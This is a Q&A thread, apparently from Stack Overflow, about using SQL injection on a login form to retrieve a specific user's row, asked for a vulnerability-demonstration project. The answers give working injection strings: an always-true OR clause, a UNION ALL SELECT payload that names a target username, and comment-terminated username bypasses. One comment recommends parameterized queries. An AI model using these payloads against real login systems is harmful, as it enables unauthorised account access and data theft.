When I put Username:anything and Password : 1'or'1'='1, my database retrieves the first row from MYSQL table. How do I retrieve the row corresponding to Username:anything? This is for a project in which I need to show all possible SQL vulnerabilities and rectify them.

  • 13
    If you want to fix all sql injection vulnerabilities, don't bother finding them. Replace every query with a parameterized query. – CodesInChaos Oct 24 '14 at 8:14

Basically the sql would look like this:

select * from table
where username='anything' and pw='1' or '1'='1'

We know that 'and' has precedence over 'or' so:

 select * from table
    where (username='anything' and pw='1') or '1'='1'

So if the 'anything''s password is not '1' you will get the first row since '1'='1' is always true

To get the result you want you have to change username value and so for password, I'm not sure but this is nearly the values you should inject:
username='anything ('
pw=1') or '1'='1'

  • Given that 'anything (' would (assuming it escaped the variable replacement) cause a syntax error, you need to add more Boolean checks. Personally, I'd probably swap out the ` or '1' = '1'` check for something that uses the desired username... – Clockwork-Muse Oct 24 '14 at 10:29

Most probably the login sql query should look like this.

select * from table
where username='user' and password='pass'

Now your aim is to get the row corresponding to the value specified as the "username".

So for that just inject an UNION query,better not to be more confused with other methods.

Here below goes the value of "username" field.

' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

So after injecting the final query will look like this.

select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

So if you wanna get the row of a specified user,just change the value 'ShihabSoft' to any other username.

And it is just for an example because you did't even specified the query in your question.So the number of columns in the UNION query may differ according the number of columns specified in the actual query.

  • 2
    No need for a UNION, ' OR username='…' --  suffices. – Gumbo Oct 25 '14 at 9:36
  • Yo yo gumbo.If so why is the need of your injection point.Just put this someuser' -- in the username parameter to accomplish this.But iam always being informative and different.Jz eloborated things to more efficient injection point. – ShihabSoft Oct 25 '14 at 10:33
  • But I don't know the table name, and even don't know column names. – learner Nov 10 '14 at 6:17

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.